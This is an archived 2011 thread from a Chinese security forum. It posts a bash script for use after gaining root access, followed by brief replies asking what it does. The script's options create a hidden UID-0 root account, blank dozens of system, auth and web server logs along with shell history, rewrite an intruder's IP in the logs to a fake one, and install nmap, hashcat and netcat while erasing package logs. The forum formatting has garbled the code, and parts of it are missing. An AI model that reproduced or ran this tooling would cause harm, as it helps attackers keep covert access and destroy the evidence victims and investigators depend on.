# GotRoot Shell Script

**URL:** <https://forum.90sec.com/t/topic/2832>\
**Category:** 技术文章\
**Created:** [2011 年11 月 5 日 19:19 UTC](https://forum.90sec.com/t/topic/2832 "2011-11-05T19:19:51Z")\
**Posts on this page:** 5\
**Page:** 1

<div class="post-metadata">

作者： ![Agile](https://forum.90sec.com/user_avatar/forum.90sec.com/agile/32/11326_2.png) [@Agile](https://forum.90sec.com/u/Agile)\
发布日期： [2011 年11 月 5 日 19:19 UTC](https://forum.90sec.com/t/topic/2832/1 "2011-11-05T19:19:51Z")

</div>

```bash
#!/bin/bash
#Coded By Codeine
#Visit http://infosecforums.com For Updates
#Or If You Have Input

```

[http://infosecforums.com](http://infosecforums.com)  

# 

#Version: 1.2

# 

#Send Any Problems To [f3codeine@yahoo.com](mailto:f3codeine@yahoo.com) Or Visit Site Above

# 

################################################################  
clear  
echo "#########Overdose Shell Script############"  
echo "# \_\_\_\_\_ \_ \_\_\_\_\_\_ \_ # "  
echo "#| \_\_ \ | | | \_\_\_ \ | | # "  
echo "#| | / \_\_\_ | |\_ | |_/ /_\_\_ \_\_\_ | |\_ # "  
echo "#| | \_\_ / \_ | **| | // \_ \ / \_ | _|# "  
echo "#| |\ \ () | | | |\ \ () | () | |_ #"  
echo "# \_**_/\ ___/ \_\_| \_| \_\___ / \__\_/ \_\_|#"  
echo "################By Codeine################"  
if ["$(id -u)" != "0"]; then  
echo "\>You Must Run As Root\<" 1\>&2  
exit 1  
fi  
echo "Usage $0 [option]"  
echo ""  
echo ""  
if ["$1" == "--help"] || ["$1" == ""]; then  
echo "Usage $0 [option]"  
echo "--help Displays List Of Options"  
echo "--packages Install Various Packages(Run For List)"  
echo "--addroot Add Root User"  
echo "--spooflogs Spoof Logs With Fake IP"  
echo "--clearlogs Blanks Out Logs"  
echo "--support Gather Tats To Help Support The Project"  
exit  
elif ["$1" == "--addroot"]; then  
echo "

- Enter Username: "  
read rusername  
useradd -u 0 -o -g 0 -G 0,1,2,3,4,6,10 -M $rusername  
echo "$rusername Was Created"  
echo "

- Set Password: "  
passwd $rusername  
exit  
elif ["$1" == "--clearlogs"]; then  
echo "

- Clearning Logs..."  
echo "------------------------------------"  
#Clears 32 Different Logs  
blanklog() {  
if [-f ${1}]; then  
echo ""  
echo "--

- Cleared ${1}"  
echo "" \> ${1}  
if [-f ${1}.1]; then  
echo "--

- Cleared ${1} Backup"  
echo "" \> ${1}.1  
fi  
fi  
}  
blanklog /var/log/lastlog  
blanklog /var/log/syslog  
blanklog /var/log/syslog  
blanklog /var/log/messages  
blanklog /var/log/httpd/access\_log  
blanklog /var/log/httpd/access.log  
blanklog /var/log/httpd/error\_log  
blanklog /var/log/httpd/error.log  
blanklog /var/log/apache2/access\_log  
blanklog /var/log/apache2/access.log  
blanklog /var/log/apache2/error.log  
blanklog /var/log/apache2/error\_log  
blanklog /var/log/wtmp  
blanklog /var/log/secure  
blanklog /var/log/xferlog  
blanklog /var/log/auth.log  
blanklog /var/log/lighttpd/lighttpd.error.log  
blanklog /var/log/lighttpd/lighttpd.access.log  
blanklog /var/run/utmp  
blanklog /var/www/logs/access\_log  
blanklog /var/www/logs/access.log  
blanklog /var/www/logs/error\_log  
blanklog /var/www/logs/error.log  
blanklog /var/log/apache/access\_log  
blanklog /var/log/apache/access.log  
blanklog /var/log/apache/error\_log  
blanklog /var/log/apache/error.log  
blanklog /var/log/yum.log  
blanklog /etc/httpd/logs/access\_log  
blanklog /etc/httpd/logs/access.log  
blanklog /etc/httpd/logs/error\_log  
blanklog /etc/httpd/logs/error.log  
echo ""  
echo "--

- Clearing Bash History"  
echo -n \> ~/.bash\_history  
history -c  
echo "------------------------------------"  
echo "

- All Logs Cleared"  
exit  
elif ["$1" == "--packages"]; then  
echo "

- Listing Packages.."  
echo "------------------------------------"  
echo ""  
echo "0) Install All"  
echo "1) NMAP [http://nmap.org/](http://nmap.org/)"  
echo "2) Hashcat [http://hashcat.net/](http://hashcat.net/)"  
echo "3) Netcat [http://netcat.sourceforge.net/](http://netcat.sourceforge.net/)"  
echo "Which Would You Like To Install: "  
read pinstall  
if ["$pinstall" == "0"] || ["$pinstall" == "1"] || ["$pinstall" == "2"] || ["$pinstall" == "3"]; then  
function nmapinstall {  
echo "

- Checking If Nmap Is Installed:"  
if [-d /usr/local/share/nmap/]; then  
echo "

- Nmap Is Installed. --Version"  
nmap --version  
else  
echo "

- Nmap Is Not Installed"  
echo "

- Nmap Installation Will Now Commence"  
wget -c [http://nmap.org/dist/nmap-5.59BETA1.tar.bz2](http://nmap.org/dist/nmap-5.59BETA1.tar.bz2)  
bzip2 -cd nmap-5.59BETA1.tar.bz2 | tar xvf -  
cd nmap-5.59BETA1  
./configure  
make  
make install  
echo "

- Nmap Installed. Now Cleaning Up"  
rm -r nmap-5.59BETA1  
rm nmap-5.59BETA1.tar.bz2  
if [-f /var/log/dpkg.log]; then  
echo "" \> /var/log/dpkg.log  
if [-f /var/log/dpkg.log.1]; then  
echo "" \> /var/log/dpkg.log.1  
fi  
fi  
fi  
}  
function hashcatinstall {  
if [! -d /home/sysinstall/]; then  
mkdir /home/sysinstall  
fi  
if [! -d /home/sysinstall/hashcat/]; then  
cd /home/sysinstall  
wget [http://infosecforums.com/uploads/hashcat.tar.gz](http://infosecforums.com/uploads/hashcat.tar.gz)  
tar xvfz hashcat.tar.gz  
rm hashcat.tar.gz  
else  
echo "

- Hashcat Is Already Installed"  
fi

- Netcat Installed. Now Cleaning Up"  
rm netcat-0.7.1.tar.gz  
rm netcat-0.7.1  
if [-f /var/log/dpkg.log]; then  
echo "" \> /var/log/dpkg.log  
if [-f /var/log/dpkg.log.1]; then  
echo "" \> /var/log/dpkg.log.1  
fi  
fi  
else  
echo "

- Netcat Is Already Installed"  
fi

- IP To Replace: "  
read realip  
echo "

- IP To Replace With: "  
read fakeip  
echo ""  
echo "

- Spoofing Logs..."  
echo "------------------------------------"  
spooflog() {  
if [-f ${1}]; then  
echo ""  
echo "--

- Spoofed ${1}"  
sed -i "s/$realip/fakeip/g" {1}  
if [-f ${1}.1]; then  
echo "--

- Spoofed ${1} Backup"  
sed -i "s/$realip/fakeip/g" {1}.1  
fi  
fi  
}  
spooflog /var/log/lastlog  
spooflog /var/log/syslog  
spooflog /var/log/syslog  
spooflog /var/log/messages  
spooflog /var/log/httpd/access\_log  
spooflog /var/log/httpd/access.log  
spooflog /var/log/httpd/error\_log  
spooflog /var/log/httpd/error.log  
spooflog /var/log/apache2/access\_log  
spooflog /var/log/apache2/access.log  
spooflog /var/log/apache2/error.log  
spooflog /var/log/apache2/error\_log  
spooflog /var/log/wtmp  
spooflog /var/log/secure  
spooflog /var/log/xferlog  
spooflog /var/log/auth.log  
spooflog /var/log/lighttpd/lighttpd.error.log  
spooflog /var/log/lighttpd/lighttpd.access.log  
spooflog /var/run/utmp  
spooflog /var/www/logs/access\_log  
spooflog /var/www/logs/access.log  
spooflog /var/www/logs/error\_log  
spooflog /var/www/logs/error.log  
spooflog /var/log/apache/access\_log  
spooflog /var/log/apache/access.log  
spooflog /var/log/apache/error\_log  
spooflog /var/log/apache/error.log  
spooflog /var/log/yum.log  
spooflog /etc/httpd/logs/access\_log  
spooflog /etc/httpd/logs/access.log  
spooflog /etc/httpd/logs/error\_log  
spooflog /etc/httpd/logs/error.log  
echo "------------------------------------"  
echo "

- Logs Spoofed"  
elif ["$1" == "--support"]; then  
echo "

- If you would like to support the production of this script,"  
echo "

- Email the following stats to [f3codeine@yahoo.com](mailto:f3codeine@yahoo.com)"  
echo "

- Server mailer may not send which is why I ask for manual email"  
echo "-----------Stats I Would Like----------------"  
echo "ls /usr/bin"  
echo "

- This will display installed applications, warning this will display alot of files & dirs."  
echo ""  
echo "ls /var/log"  
echo "

- This is the defualt location for logs."  
echo "-----------------------------------------------"  
echo ""  
echo "

- I would very much appreciate if you ran those list commands and sent me the results"  
echo "

- If you want to see this script develope more its a simple task to help out."  
fi  
[1.png](https://forum.90sec.com/discuz-migration/attachments/88068eef7162212024fd461d25c3322589ce197eb4e272116f7e15f54df32640)[2.png](https://forum.90sec.com/discuz-migration/attachments/d9ee576d83f5abd12a3952740a486569d2e42c5e6a58d81d79646728a7270127)[3.png](https://forum.90sec.com/discuz-migration/attachments/3f1a3647c4b440d0e9187429991f9dfac028a821613dfa9d6ddb9d2fee77bb29)

---

<div class="post-metadata">

作者： ![user\_deleted51](https://forum.90sec.com/letter_avatar_proxy/v4/letter/u/6de8d8/32.png) [@user\_deleted51](https://forum.90sec.com/u/user_deleted51)\
发布日期： [2011 年11 月 10 日 03:44 UTC](https://forum.90sec.com/t/topic/2832/2 "2011-11-10T03:44:58Z")

</div>

{:4\_36:}{:4\_36:}{:4\_36:}{:4\_36:}{:4\_36:}{:4\_36:}{:4\_36:}{:4\_36:}{:4\_36:}

---

<div class="post-metadata">

作者： ![c11](https://forum.90sec.com/letter_avatar_proxy/v4/letter/c/71e660/32.png) [@c11](https://forum.90sec.com/u/c11)\
发布日期： [2011 年11 月 10 日 12:59 UTC](https://forum.90sec.com/t/topic/2832/3 "2011-11-10T12:59:15Z")

</div>

记录下来。。呵呵。。可有内核限制？

---

<div class="post-metadata">

作者： ![user5](https://forum.90sec.com/user_avatar/forum.90sec.com/user5/32/11325_2.png) [@user5](https://forum.90sec.com/u/user5)\
发布日期： [2011 年11 月 12 日 15:35 UTC](https://forum.90sec.com/t/topic/2832/4 "2011-11-12T15:35:03Z")

</div>

这个是清理日志的？/？

---

<div class="post-metadata">

作者： ![debugz3r0](https://forum.90sec.com/letter_avatar_proxy/v4/letter/d/41988e/32.png) [@debugz3r0](https://forum.90sec.com/u/debugz3r0)\
发布日期： [2012 年1 月 21 日 14:06 UTC](https://forum.90sec.com/t/topic/2832/5 "2012-01-21T14:06:23Z")

</div>

针对的是多少的版本？
